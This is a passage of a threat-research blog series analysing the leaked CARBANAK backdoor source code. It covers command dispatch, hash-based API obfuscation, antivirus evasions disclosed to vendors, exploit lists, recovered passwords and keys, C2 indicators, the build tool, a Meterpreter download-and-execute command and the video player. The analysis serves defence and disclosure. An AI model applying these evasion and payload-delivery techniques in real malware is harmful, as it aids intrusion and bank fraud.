backdoor builder application user interface +The operator RAR archive also contained an operator +s manual explaining the semantics of +all the backdoor commands. Figure 8 shows the first few commands in this manual, both in +Russian and English (translated). +7/14 +Figure 8: Operator manual (left: original Russian; right: translated to English) +Down the Rabbit Hole: When Having Source Code Does Not Help +In simpler backdoors, a single function evaluates the command ID received from the C2 +server and dispatches control to the correct function to carry out the command. For +example, a backdoor might ask its C2 server for a command and receive a response bearing +the command ID 0x67. The dispatch function in the backdoor will check the command ID +against several different values, including 0x67, which as an example might call a function to +shovel a reverse shell to the C2 server. Figure 9 shows a control flow graph of such a +function as viewed in IDA Pro. Each block of code checks against a command ID and either +passes control to the appropriate command handling code, or moves on to check for the +next command ID. +8/14 +Figure 9: A control flow graph of a simple command handling function +In this regard, CARBANAK is an entirely different beast. It utilizes a Windows mechanism +called named pipes as a means of communication and coordination across all the threads, +processes, and plugins under the backdoor +s control. When the CARBANAK tasking +component receives a command, it forwards the command over a named pipe where it +travels through several different functions that process the message, possibly writing it to +one or more additional named pipes, until it arrives at its destination where the specified +command is finally handled. Command handlers may even specify their own named pipe to +request more data from the C2 server. When the C2 server returns the data, CARBANAK +writes the result to this auxiliary named pipe and a callback function is triggered to handle +the response data asynchronously. CARBANAK +s named pipe-based tasking component is +flexible enough to control both inherent command handlers and plugins. It also allows for +9/14 +the possibility of a local client to dispatch commands to CARBANAK without the use of a +network. In fact, not only did we write such a client to aid in analysis and testing, but such a +client, named botcmd.exe, was also present in the source dump. +s Perspective +Analyzing this command-handling mechanism within CARBANAK from a binary perspective +was certainly challenging. It required maintaining tabs for many different views into the +disassembly, and a sort of textual map of command ids and named pipe names to describe +the journey of an inbound command through the various pipes and functions before +arriving at its destination. Figure 10 shows the control flow graphs for seven of the named +pipe message handling functions. While it was difficult to analyze this from a binary reverse +engineering perspective, having compiled code combined with the features that a good +disassembler such as IDA Pro provides made it less harrowing than Mike +s experience. The +binary perspective saved me from having to search across several source files and deal with +ambiguous function names. The disassembler features allowed me to easily follow crossreferences for functions and global variables and to open multiple, related views into the +code. +Figure 10: Control flow graphs for the named pipe message handling functions +Mike +s Perspective +Having source code sounds like cheat-mode for malware analysis. Indeed, source code +contains much information that is lost through the compilation and linking process. Even so, +CARBANAK +s tasking component (for handling commands sent by the C2 server) serves as a +counter-example. Depending on the C2 protocol used and the command being processed, +control flow may take divergent paths through different functions only to converge again +10/14 +later and accomplish the same command. Analysis required bouncing around between +almost 20 functions in 5 files, often backtracking to recover information about function +pointers and parameters that were passed in from as many as 18 layers back. Analysis also +entailed resolving matters of C++ class inheritance, scope ambiguity, overloaded functions, +and control flow termination upon named pipe usage. The overall effect was that this was +difficult to analyze, even in source code. +I only embarked on this top-to-bottom journey once, to search for any surprises. The effort +gave me an appreciation for the baroque machinery the authors constructed either for the +sake of obfuscation or flexibility. I felt like this was done at least in part to obscure +relationships and hinder timely analysis. +Anti-Analysis Mechanisms in Source Code +CARBANAK +s executable code is filled with logic that pushes hexadecimal numbers to the +same function, followed by an indirect call against the returned value. This is easily +recognizable as obfuscated function import resolution, wherein CARBANAK uses a simple +string hash known as PJW (named after its author, P.J. Weinberger) to locate Windows API +functions without disclosing their names. A Python implementation of the PJW hash is +shown in Figure 11 for reference. +def pjw_hash(s): +ctr = 0 +for i in range(len(s)): +ctr = 0xffffffff & ((ctr << 4) + ord(s[i])) +if ctr & 0xf0000000: +ctr = (((ctr & 0xf0000000) >> 24) ^ ctr) & 0x0fffffff +return ctr +Figure 11: PJW hash +This is used several hundred times in CARBANAK samples and impedes understanding of +the malware +s functionality. Fortunately, reversers can use the flare-ida scripts to annotate +the obfuscated imports, as shown in Figure 12. +11/14 +Figure 12: Obfuscated import resolution annotated with FLARE's shellcode hash search +The CARBANAK authors achieved this obfuscated import resolution throughout their +backdoor with relative ease using C preprocessor macros and a pre-compilation source +code scanning step to calculate function hashes. Figure 13 shows the definition of the +relevant API macro and associated machinery. +12/14 +Figure 13: API macro for import resolution +The API macro allows the author to type API(SHLWAPI, PathFindFileNameA)( +) and have it +replaced with GetApiAddrFunc(SHLWAPI, hashPathFindFileNameA)( +). SHLWAPI is a +symbolic macro defined to be the constant 3, and hashPathFindFileNameA is the string +hash value 0xE3685D1 as observed in the disassembly. But how was the hash defined? +The CARBANAK source code has a utility (unimaginatively named tool) that scans source +code for invocations of the API macro to build a header file defining string hashes for all the +Windows API function names encountered in the entire codebase. Figure 14 shows the +source code for this utility along with its output file, api_funcs_hash.h. +Figure 14: Source code and output from string hash utility +When I reverse engineer obfuscated malware, I can +t help but try to theorize about how +authors implement their obfuscations. The CARBANAK source code gives another data point +into how malware authors wield the powerful C preprocessor along with custom code +scanning and code generation tools to obfuscate without imposing an undue burden on +developers. This might provide future perspective in terms of what to expect from malware +authors in the future and may help identify units of potential code reuse in future projects +as well as rate their significance. It would be trivial to apply this to new projects, but with the +source code being on VirusTotal, this level of code sharing may not represent shared +authorship. Also, the source code is accessibly instructive in why malware would push an +integer as well as a hash to resolve functions: because the integer is an index into an array +of module handles that are opened in advance and associated with these pre-defined +integers. +13/14 +Conclusion +The CARBANAK source code is illustrative of how these malware authors addressed some of +the practical concerns of obfuscation. Both the tasking code and the Windows API +resolution system represent significant investments in throwing malware analysts off the +scent of this backdoor. Check out Part Two of this series for a round-up of antivirus +evasions, exploits, secrets, key material, authorship artifacts, and network-based indicators. +Part Three and Part Four are available now as well! +14/14 +CARBANAK Week Part Two: Continuing the CARBANAK +Source Code Analysis +fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html +Threat Research +April 23, 2019 | by Michael Bailey, James T. Bennett +Update (April 30): Following the release of our four-part CARBANAK Week blog series, many +readers have found places to make the data shared in these posts actionable. We have updated +this post to include some of this information. +In the previous installment, we wrote about how string hashing was used in CARBANAK to +manage Windows API resolution throughout the entire codebase. But the authors used this +same string hashing algorithm for another task as well. In this installment, we +ll pick up +where we left off and write about CARBANAK +s antivirus (AV) detection, AV evasion, +authorship artifacts, exploits, secrets, and network-based indicators. +Antivirus Evasions +Source code unquestionably accelerates analysis of string hashes. For example, the +function AVDetect in AV.cpp iterates processes to detect AV by process name hash as shown +in Figure 1. +1/14 +Figure 1: Antivirus detection by process name hash +What does CARBANAK do with this information? It evades AV according to what is installed. +Figure 2 shows the code for an AVG evasion that the authors disabled by commenting it out. +Based on this, it appears as if the AVG evasion was retired, but FLARE team member Ryan +Warns confirmed in November 2017 that it still worked with one minor tweak. FLARE +disclosed this to AVG immediately upon confirming it. Avast indicates that after our +disclosure, they updated the affected DLL to ignore DLL_PROCESS_DETACH and leave its +hooks in place. +2/14 +Figure 2: Commented out source code to unload AVG user-space hooks +In November of 2017, FLARE also disclosed an evasion for Trend Micro +s detection of +process injection that remained active in the CARBANAK source code. The evasion mirrors a +technique used in Carberp that replaces remote heap allocation and a call +to CreateRemoteThread with memory mapping and queueing of an asynchronous +procedure call via QueueUserAPC. Following our disclosure, Trend Micro indicated that they +had updated their behavior monitoring rules and released OfficeScan XG SP1 in December +2017 with a new +Aggressive Event + detection feature that covers this behavior. +Author Characterization +Having source code could pose unique opportunities to learn about the individuals behind +the keyboard. To that end, I searched for artifacts in the source code dump that might point +to individuals. I found the most information in Visual Studio solution files. Most of these +referenced drive O: as the source root, but I did find the following host paths: +C:\Users\hakurei reimu\AppData\Local\Temp +C:\Users\Igor\AppData\Local\Temp +E:\Projects\progs\Petrosjan\WndRec\... +E:\Projects\progs\sbu\WndRec\... +Unfortunately, these data points don +t yield many answers. If they are observed in later +artifacts, connections might be inferred, but as of this writing, not much else is known about +the authors. +Source Code Survey +The CARBANAK source code contained numerous exploits, previous C2 hosts, passwords, +and key material. I decided to comprehensively search these out and determine if they led +to any new conclusions or corroborated any previous observations. +Exploits +3/14 +I wanted to know if the CARBANAK authors wielded any exploits that were not publicly +disclosed. To the contrary, I found all the exploits to be well-documented. Table 1 breaks out +the escalation code I reviewed from the CARBANAK source code dump. +Name +Notes +PathRec +20133660 +Exploit proof of concept (poc) from May 2013 +Sdrop +20133660 +Exploit poc from June 2013 +NDProxy +20135065 +NDProxy.sys exploit originally authored by secniu +UACBypass +UAC bypass by DLL hijacking found in Carberp +UAC bypass by disabling elevation prompts and dialogs via the +IFileOperation COM interface +CVE-20144113 +20144113 +BlackEnergy2 +EUDC +Win32k.sys exploit derived from code that can be found online +AppCompat shim-based UAC bypass +20104398 +UAC bypass by EUDC exploitation +Table 1: Exploits for elevation found in CARBANAK source code +The CARBANAK source code also contains code copied wholesale from Mimikatz including +the sekurlsa module for dumping passwords from lsass.exe and Terminal Services patching +code to allow multiple remote desktop protocol connections. +Secrets +My analysis included an audit of passwords and key material found in the source code and +accompanying binaries. Although many of these were used for debug versions, I curated +them for reference in case a need might arise to guess future passwords based on +passwords used in the source code. Table 2 shows recovered passwords used for RC24/14 +encrypted communications and other purposes along with the corresponding name in the +source code and their status as they were encountered (active in source code, commented +out, or compiled into a binary). +Credential Identifier Per Source Code +Password +Status +ADMIN_PASSWORD +1He9Psa7LzB1wiRn +Active +ADMIN_PASSWORD +1234567812345678 +Commented out +ADMIN_PASSWORD +cbvhX3tJ0k8HwnMy +Active +ADMIN_PASSWORD +1234567812345678 +Commented out +1234567812345678 +Compiled +Table 2: Passwords found in CARBANAK source code and binaries +I found an encrypted server certificate in a debug directory. This seemed like it could +provide a new network-based indicator to definitively tie operations together or catch new +activity. It was trivial to brute force this container by adapting a publicly available code +sample of X509 handling in C# to cycle through passwords in a popular password list. The +password was found in less than 1 second because it was the single-character password +The certificate turns out to be for testing, hence the weak password. The certificate is shown +in Figure 3, with details in Table 3. +5/14 +Figure 3: Test Company certificate +Parameter +Value +Subject +CN=Test Company +Issuer +CN=Test Company +Serial +Number +834C6C3985506D8740FB56D26E385E8A +Not Before +12/31/2004 5:00:00 PM +Not After +12/31/2017 5:00:00 PM +Thumbprint +0BCBD1C184809164A9E83F308AD6FF4DBAFDA22C +Signature +Algorithm +sha1RSA(1.3.14.3.2.29) +6/14 +Public Key +Algorithm: RSA +Length: 2048 +Key Blob: +30 82 01 0a 02 82 01 01 00 e4 66 7f d2 e1 01 53 +f9 6d 26 a6 62 45 8b a8 71 ea 81 9a e6 12 d4 1c +6f 78 67 6d 7e 95 bb 3a c5 c0 2c da ce 48 ca db +29 ab 10 c3 83 4e 51 01 76 29 56 53 65 32 64 f2 +c7 84 96 0f b0 31 0b 09 a3 b9 12 63 09 be a8 4b +3b 21 f6 2e bf 0c c1 f3 e4 ed e2 19 6e ca 78 68 +69 be 56 3c 1c 0e a7 78 c7 b8 34 75 29 a1 8d cc +5d e9 0d b3 95 39 02 13 8e 64 ed 2b 90 2c 3f d5 +e3 e2 7e f2 d2 d1 96 15 6e c9 97 eb 97 b9 0e b3 +be bc c3 1b 1e e1 0e 1c 35 73 f4 0f d9 c3 69 89 +87 43 61 c9 9e 50 77 a2 83 e4 85 ce 5a d6 af 72 +a9 7b 27 c5 f3 62 8d e7 79 92 c3 9b f7 96 ed 5c +37 48 0a 97 ee f7 76 69 a2 b9 25 38 06 25 7d 8a +e4 94 b2 bb 28 4a 4b 5d c5 32 0d be 8e 7c 51 82 +a7 9e d9 2c 8e 6b d8 c7 19 4c 2e 93 8d 2d 50 b4 +e0 a4 ed c1 65 a4 a1 ba bf c7 bf 2c ec 28 83 f4 +86 f2 88 5c c4 24 8b ce 1d 02 03 01 00 01 +Parameters: 05 00 +7/14 +Private Key +Key Store: User +Provider Name: Microsoft Strong Cryptographic Provider +Provider type: 1 +Key Spec: Exchange +Key Container Name: c9d7c4a9-2745-4e7f-b816-8c20831d6dae +Unique Key Container Name: 5158a0636a32ccdadf155686da582ccc_2bb69b91e898-4d33-bbcf-fbae2b6309f1 +Hardware Device: False +Removable: False +Protected: False +Table 3: Test Company certificate details +Here is a pivot shared by @mrdavi51 demonstrating how this self-signed certificate is +still hosted on several IPs. +Great findings, loving the series! Did you know the public cert in part two +you found is still hosted on two servers? https://t.co/zZYRgPvHVr + mrdavi5 (@mrdavi51) April 24, 2019 +FireEye has observed the certificate most recently being served on the following IPs (Table +Hostname +Last Seen +104.193.252.151:443 +vds2.system-host[.]net +2019-04-26T14:49:12 +185.180.196.35:443 +customer.clientshostname[.]com +2019-04-24T07:44:30 +213.227.155.8:443 +2019-04-24T04:33:52 +94.156.133.69:443 +2018-11-15T10:27:07 +8/14 +185.174.172.241:443 +vds9992.hyperhost[.]name +109.230.199.227:443 +2019-04-27T13:24:36 +2019-04-27T13:24:36 +Table 4: Recent Test Company certificate use +While these IPs have not been observed in any CARBANAK activity, this may be an indication +of a common developer or a shared toolkit used for testing various malware. Several of +these IPs have been observed hosting Cobalt Strike BEACON payloads and METERPRETER +listeners. Virtual Private Server (VPS) IPs may change hands frequently and additional +malicious activity hosted on these IPs, even in close time proximity, may not be associated +with the same users. +I also parsed an unprotected private key from the source code dump. Figure 4 and Table 5 +show the private key parameters at a glance and in detail, respectively. +Figure 4: Parsed 512-bit private key +9/14 +Field +Value +bType +bVersion +aiKeyAlg +0xA400 (CALG_RSA_KEYX) + RSA public key exchange algorithm +Magic +RSA2 +Bitlen +PubExp +65537 +Modulus +0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED +20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C +EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 +57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB +8B 01 8F 7D 1D A2 34 AE CA B6 22 EE 41 4A B9 2C +E0 05 FA D0 35 B2 BF 9C E6 7C 6E 65 AC AE 17 EA +81 69 AB 3D D7 01 55 7A F8 EE 3C A2 78 A5 1E B1 +9A 3B 83 EC 2F F1 F7 13 D8 1A B3 DE DF 24 A1 DE +B5 C7 AE 0F 46 E9 02 FB 4E A2 A5 36 7F 2E ED A4 +9E 2B 0E 57 F3 DB 11 66 13 5E 01 94 13 34 10 CB +81 AC 0D 20 14 E9 5C BF 4B 08 54 D3 74 C4 57 EA +C3 9D 66 C9 2E 0A 19 EA C1 A3 78 30 44 52 B2 9F +10/14 +C2 D2 55 32 5E 7D 66 4C 8B 7F 02 82 0B 35 45 18 +24 76 09 2B 56 71 C6 63 C4 C5 87 AD ED 51 DA 2 +01 6A F3 FA 6A F7 34 83 75 C6 94 EB 77 F1 C7 BB +7C 68 28 70 4D FB 6A 67 03 AE E2 D8 8B E9 E8 E0 +2A 0F FB 39 13 BD 1B 46 6A D9 98 EA A6 3E 63 A8 +2F A3 BD B3 E5 D6 85 98 4D 1C 06 2A AD 76 07 49 +Table 5: Private key parameters +I found a value named PUBLIC_KEY defined in a configuration header, with comments +indicating it was for debugging purposes. The parsed values are shown in Table 6. +Field +Value +bType +bVersion +aiKeyAlg +0xA400 (CALG_RSA_KEYX) + RSA public key exchange algorithm +Magic +RSA1 +Bitlen +PubExp +65537 +Modulus +0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED +20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C +EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 +57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB +11/14 +Table 6: Key parameters for PUBLIC_KEY defined in configuration header +Network Based Indicators +The source code and binaries contained multiple Network-Based Indicators (NBIs) having +significant overlap with CARBANAK backdoor activity and FIN7 operations previously +observed and documented by FireEye. Table 7 shows these indicators along with the +associated FireEye public documentation. This includes the status of each NBI as it was +encountered (active in source code, commented out, or compiled into a binary). Domain +names are de-fanged to prevent accidental resolution or interaction by browsers, chat +clients, etc. +Status +Threat Group Association +comixed[.]org +Commented +Earlier CARBANAK activity +194.146.180[.]40 +Commented +Earlier CARBANAK activity +aaaabbbbccccc[.]org +Active +stats10-google[.]com +Commented +192.168.0[.]100:700 +Active +80.84.49[.]50:443 +Commented +52.11.125[.]44:443 +Commented +85.25.84[.]223 +Commented +qwqreererwere[.]com +Active +FIN7 +12/14 +akamai-technologies[.]org +Commented +Earlier CARBANAK activity +192.168.0[.]100:700 +Active +37.1.212[.]100:700 +Commented +188.138.98[.]105:710 +Commented +hhklhlkhkjhjkjk[.]org +Compiled +192.168.0[.]100:700 +Compiled +aaa.stage.4463714.news.meteonovosti[.]info +Compiled +DNS infrastructure overlap with +later FIN7 associated +POWERSOURCE activity +193.203.48[.]23:800 +Active +Earlier CARBANAK activity +Earlier CARBANAK activity +Table 7: NBIs and prevously observed activity +Four of these TCP endpoints (80.84.49[.]50:443, 52.11.125[.]44:443, 85.25.84[.]223, and +37.1.212[.]100:700) were new to me, although some have been documented elsewhere. +Conclusion +Our analysis of this source code dump confirmed it was CARBANAK and turned up a few +new and interesting data points. We were able to notify vendors about disclosures that +specifically targeted their security suites. The previously documented NBIs, Windows API +function resolution, backdoor command hash values, usage of Windows cabinet file APIs, +and other artifacts associated with CARBANAK all match, and as they say, if the shoe fits, +wear it. Interestingly though, the project itself isn +t called CARBANAK or even Anunak as the +information security community has come to call it based on the string artifacts found +within the malware. The authors mainly refer to the malware as + in the Visual Studio +project, filenames, source code comments, output binaries, user interfaces, and manuals. +The breadth and depth of this analysis was a departure from the usual requests we receive +13/14 +on the FLARE team. The journey included learning some Russian, searching through a +hundred thousand of lines of code for new information, and analyzing a few dozen binaries. +In the end, I +m thankful I had the opportunity to take this request. +In the next post, Tom Bennett takes the reins to provide a retrospective on his and Barry +Vengerik +s previous analysis in light of the source code. Part Four of CARBANAK Week is +available as well. +Previous Post +Next Post +14/14 +CARBANAK Week Part Three: Behind the CARBANAK +Backdoor +fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html +We covered a lot of ground in Part One and Part Two of our CARBANAK Week blog series. +Now let's take a look back at some of our previous analysis and see how it holds up. +In June 2017, we published a blog post sharing novel information about the CARBANAK +backdoor, including technical details, intel analysis, and some interesting deductions about +its operations we formed from the results of automating analysis of hundreds of CARBANAK +samples. Some of these deductions were claims about the toolset and build practices for +CARBANAK. Now that we have a snapshot of the source code and toolset, we also have a +unique opportunity to revisit these deductions and shine a new light on them. +Was There a Build Tool? +s first take a look at our deduction about a build tool for CARBANAK: +A build tool is likely being used by these attackers that allows the operator to configure details +such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the +binary +s strings with a fresh key for each build. +We came to this deduction from the following evidence: +Most of CARBANAK +s strings are encrypted in order to make analysis more difficult. We have +observed that the key and the cipher texts for all the encrypted strings are changed for each +sample that we have encountered, even amongst samples with the same compile time. The RC2 +1/15 +key used for the HTTP protocol has also been observed to change among samples with the same +compile time. These observations paired with the use of campaign codes that must be configured +denote the likely existence of a build tool. +Figure 1 shows three keys used to decode the strings in CARBANAK, each pulled from a +different CARBANAK sample. +Figure 1: Decryption keys for strings in CARBANAK are unique for each build +It turns out we were spot-on with this deduction. A build tool was discovered in the +CARBANAK source dump, pictured with English translations in Figure 2. +2/15 +Figure 2: CARBANAK build tool +With this build tool, you specify a set of configuration options along with a template +CARBANAK binary, and it bakes the configuration data into the binary to produce the final +build for distribution. The Prefix text field allows the operator to specify a campaign code. +The Admin host text fields are for specifying C2 addresses, and the Admin password text +field is the secret used to derive the RC2 key for encrypting communication over +CARBANAK +s pseudo-HTTP protocol. This covers part of our deduction: we now know for a +fact that a build tool exists and is used to configure the campaign code and RC2 key for the +build, amongst other items. But what about the encoded strings? Since this would be +something that happens seamlessly behind the scenes, it makes sense that no evidence of +it would be found in the GUI of the build tool. To learn more, we had to go to the source +code for both the backdoor and the build tool. +Figure 3 shows a preprocessor identifier named ON_CODE_STRING defined in the +CARBANAK backdoor source code that when enabled, defines macros that wrap all strings +the programmer wishes to encode in the binary. These functions sandwich the strings to be +encoded with the strings + and +. Figure 4 shows a small snippet of code from the +header file of the build tool source code defining BEG_ENCODE_STRING as + and +END_ENCODE_STRING as +. The build tool searches the template binary for these +and + markers, extracts the strings between them, encodes them with a randomly +generated key, and replaces the strings in the binary with the encoded strings. We came +3/15 +across an executable named bot.dll that happened to be one of the template binaries to be +used by the build tool. Running strings on this binary revealed that most meaningful strings +that were specific to the workings of the CARBANAK backdoor were, in fact, sandwiched +between + and +, as shown in Figure 5. +Figure 3: ON_CODE_STRING parameter enables easy string wrapper macros to prepare +strings for encoding by build tool +4/15 +Figure 4: builder.h macros for encoded string markers +Figure 5: Encoded string markers in template CARBANAK binary +5/15 +Operators + Access To Source Code +s look at two more related deductions from our blog post: +Based upon the information we have observed, we believe that at least some of the operators of +CARBANAK either have access to the source code directly with knowledge on how to modify it or +have a close relationship to the developer(s). +Some of the operators may be compiling their own builds of the backdoor independently. +The first deduction was based on the following evidence: +Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, +with some of the compile times being quite close in proximity. For example, on May 20, 2014, two +builds were compiled approximately four hours apart and were configured to use the same C2 +servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart. +To investigate further, we performed a diff of two CARBANAK samples with very close +compile times to see what, if anything, was changed in the code. Figure 6 shows one such +difference. +Figure 6: Minor differences between two closely compiled CARBANAK samples +6/15 +The POSLogMonitorThread function is only executed in Sample A, while the blizkoThread +function is only executed in Sample B (Blizko is a Russian funds transfer service, similar to +PayPal). The POSLogMonitorThread function monitors for changes made to log files for +specific point of sale software and sends parsed data to the C2 server. The blizkoThread +function determines whether the user of the computer is a Blizko customer by searching for +specific values in the registry. With knowledge of these slight differences, we searched the +source code and discovered once again that preprocessor parameters were put to use. +Figure 7 shows how this function will change depending on which of three compile-time +parameters are enabled. +Figure 7: Preprocessor parameters determine which functionality will be included in a +template binary +This is not definitive proof that operators had access to the source code, but it certainly +makes it much more plausible. The operators would not need to have any programming +knowledge in order to fine tune their builds to meet their needs for specific targets, just +simple guidance on how to add and remove preprocessor parameters in Visual Studio. +Evidence for the second deduction was found by looking at the binary C2 protocol +implementation and how it has evolved over time. From our previous blog post: +This protocol has undergone several changes over the years, each version building upon the +previous version in some way. These changes were likely introduced to render existing network +signatures ineffective and to make signature creation more difficult. +7/15 +Five versions of the binary C2 protocol were discovered amongst our sample set, as shown +in Figure 8. This figure shows the first noted compile time that each protocol version was +found amongst our sample set. Each new version improved the security and complexity of +the protocol. +Figure 8: Binary C2 protocol evolution shown through binary compilation times +If the CARBANAK project was centrally located and only the template binaries were +delivered to the operators, it would be expected that sample compile times should fall in +line with the evolution of the binary protocol. Except for one sample that implements what +we call +version 3 + of the protocol, this is how our timeline looks. A probable explanation for +the date not lining up for version 3 is that our sample set was not wide enough to include +the first sample of this version. This is not the only case we found of an outdated protocol +being implemented in a sample; Figure 9 shows another example of this. +8/15 +Figure 9: CARBANAK sample using outdated version of binary protocol +In this example, a CARBANAK sample found in the wild was using protocol version 4 when a +newer version had already been available for at least two months. This would not be likely +to occur if the source code were kept in a single, central location. The rapid-fire fine tuning +of template binaries using preprocessor parameters, combined with several samples of +CARBANAK in the wild implementing outdated versions of the protocol indicate that the +CARBANAK project is distributed to operators and not kept centrally. +Names of Previously Unidentified Commands +The source code revealed the names of commands whose names were previously +unidentified. In fact, it also revealed commands that were altogether absent from the +samples we previously blogged about because the functionality was disabled. Table 1 shows +the commands whose names were newly discovered in the CARBANAK source code, along +with a summary of our analysis from the blog post. +Hash +Prior FireEye Analysis +Name +0x749D968 +(absent) +msgbox +9/15 +0x6FD593 +(absent) +ifobs +0xB22A5A7 +Add/update klgconfig +updklgcfg +0x4ACAFC3 +Upload files to the C2 server +findfiles +0xB0603B4 +Download and execute shellcode +tinymet +Table 1: Command hashes previously not identified by name, along with description from +prior FireEye analysis +The msgbox command was commented out altogether in the CARBANAK source code, and +is strictly for debugging, so it never appeared in public analyses. Likewise, the ifobs +command did not appear in the samples we analyzed and publicly documented, but likely +for a different reason. The source code in Figure 10 shows the table of commands that +CARBANAK understands, and the ifobs command (0x6FD593) is surrounded by an #ifdef, +preventing the ifobs code from being compiled into the backdoor unless the ON_IFOBS +preprocessor parameter is enabled. +10/15 +Figure 10: Table of commands from CARBANAK tasking code +One of the more interesting commands, however, is tinymet, because it illustrates how +source code can be both helpful and misleading. +The tinymet Command and Associated Payload +11/15 +At the time of our initial CARBANAK analysis, we indicated that command 0xB0603B4 +(whose name was unknown at the time) could execute shellcode. The source code reveals +that the command (whose actual name is tinymet) was intended to execute a very specific +piece of shellcode. Figure 12 shows an abbreviated listing of the code for handling the +tinymet command, with line numbers in yellow and selected lines hidden (in gray) to show +the code in a more compact format. +Figure 11: Abbreviated tinymet code listing +The comment starting on line 1672 indicates: +12/15 +tinymet command +Command format: tinymet {ip:port | plugin_name} [plugin_name] +Retrieve meterpreter from specified address and launch in memory +On line 1710, the tinymet command handler uses the single-byte XOR key 0x50 to decode +the shellcode. Of note, on line 1734 the command handler allocates five extra bytes and line +1739 hard-codes a five-byte mov instruction into that space. It populates the 32-bit +immediate operand of the mov instruction with the socket handle number for the server +connection that it retrieved the shellcode from. The implied destination operand for this +mov instruction is the edi register. +Our analysis of the tinymet command ended here, until the binary file named met.plug was +discovered. The hex dump in Figure 12 shows the end of this file. +Figure 12: Hex dump of met.plug +13/15 +The end of the file is misaligned by five missing bytes, corresponding to the dynamically +assembled mov edi preamble in the tasking source code. However, the single-byte XOR key +0x50 that was found in the source code did not succeed in decoding this file. After some +confusion and further analysis, it was realized that the first 27 bytes of this file are a +shellcode decoder that looked very similar to call4_dword_xor. Figure 13 shows the +shellcode decoder and the beginning of the encoded metsrv.dll. The XOR key the shellcode +uses is 0xEF47A2D0 which fits with how the five-byte mov edi instruction, decoder, and +adjacent metsrv.dll will be laid out in memory. +Figure 13: Shellcode decoder +Decoding yielded a copy of metsrv.dll starting at offset 0x1b. When shellcode execution +exits the decoder loop, it executes Metasploit +s executable DOS header. +Ironically, possessing source code biased our binary analysis in the wrong direction, +suggesting a single-byte XOR key when really there was a 27-byte decoder preamble using a +four-byte XOR key. Furthermore, the name of the command being tinymet suggested that +the TinyMet Meterpreter stager was involved. This may have been the case at one point, but +the source code comments and binary files suggest that the developers and operators have +moved on to simply downloading Meterpreter directly without changing the name of the +command. +Conclusion +Having access to the source code and toolset for CARBANAK provided us with a unique +opportunity to revisit our previous analysis. We were able to fill in some missing analysis +and context, validate our deductions in some cases, and provide further evidence in other +14/15 +cases, strengthening our confidence in them but not completely proving them true. This +exercise proves that even without access to the source code, with a large enough sample set +and enough analysis, accurate deductions can be reached that go beyond the source code. +It also illustrates, such as in the case of the tinymet command, that sometimes, without the +proper context, you simply cannot see the full and clear purpose of a given piece of code. +But some source code is also inconsistent with the accompanying binaries. If Bruce Lee had +been a malware analyst, he might have said that source code is like a finger pointing away +to the moon; don +t concentrate on the finger, or you will miss all that binary ground truth. +Source code can provide immensely rich context, but analysts must be cautious not to +misapply that context to binary or forensic artifacts. +In the next and final blog post, we share details on an interesting tool that is part of the +CARBANAK kit: a video player designed to play back desktop recordings captured by the +backdoor. +15/15 +CARBANAK Week Part Four: The CARBANAK Desktop Video +Player +fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html +Part One, Part Two and Part Three of CARBANAK Week are behind us. In this final blog post, +we dive into one of the more interesting tools that is part of the CARBANAK toolset. The +CARBANAK authors wrote their own video player and we happened to come across an +interesting video capture from CARBANAK of a network operator preparing for an offensive +engagement. Can we replay it? +About the Video Player +The CARBANAK backdoor is capable of recording video of the victim +s desktop. Attackers +reportedly viewed recorded desktop videos to gain an understanding of the operational +workflow of employees working at targeted banks, allowing them to successfully insert +fraudulent transactions that remained undetected by the banks + verification processes. As +mentioned in a previous blog post announcing the arrest of several FIN7 members, the +video data file format and the player used to view the videos appeared to be custom +written. The video player, shown in Figure 1, and the C2 server for the bots were designed +to work together as a pair. +Figure 1: CARBANAK desktop video player +The C2 server wraps video stream data received from a CARBANAK bot in a custom video +file format that the video player understands, and writes these video files to a location on +disk based on a convention assumed by the video player. The StreamVideo constructor +shown in Figure 2 creates a new video file that will be populated with the video capture data +received from a CARBANAK bot, prepending a header that includes the signature TAG, +timestamp data, and the IP address of the infected host. This code is part of the C2 server +project. +Figure 2: carbanak\server\Server\Stream.cs + Code snippet from the C2 server that serializes +video data to file +Figure 3 shows the LoadVideo function that is part of the video player project. It validates +the file type by looking for the TAG signature, then reads the timestamp values and IP +address just as they were written by the C2 server code in Figure 2. +Figure 3: carbanak\server\Player\Video.cs + Player code that loads a video file created by the +C2 server +Video files have the extension .frm as shown in Figure 4 and Figure 5. The C2 server +CreateStreamVideo function shown in Figure 4 formats a file path following a convention +defined in the MakeStreamFileName function, and then calls the StreamVideo constructor +from Figure 2. +Figure 4: carbanak\server\Server\RecordFromBot.cs + Function in the C2 server that formats +a video file name and adds the extension "frm" +The video player code snippet shown in Figure 5 follows video file path convention, +searching all video file directories for files with the extension .frm that have begin and end +timestamps that fall within the range of the DateTime variable dt. +Figure 5: carbanak\server\Player\Video.cs + Snippet from Player code that searches for +video files with "frm" extension +An Interesting Video +We came across several video files, but only some were compatible with this video player. +After some analysis, it was discovered that there are at least two different versions of the +video file format, one with compressed video data and the other is raw. After some slight +adjustments to the video processing code, both formats are now supported and we can +play all videos. +Figure 6 shows an image from one of these videos in which the person being watched +appears to be testing post-exploitation commands and ensuring they remain undetected by +certain security monitoring tools. +Figure 6: Screenshot of video playback captured by CARBANAK video capability +The list of commands in the figure centers around persistence, screenshot creation, and +launching various payloads. Red teamers often maintain such generic notes and command +snippets for accomplishing various tasks like persisting, escalating, laterally moving, etc. An +extreme example of this is Ben Clark +s book RTFM. In advance of an operation, it is +customary to tailor the file names, registry value names, directories, and other parameters +to afford better cover and prevent blue teams from drawing inferences based on +methodology. Furthermore, Windows behavior sometimes yields surprises, such as value +length limitations, unexpected interactions between payloads and specific persistence +mechanisms, and so on. It is in the interest of the attacker to 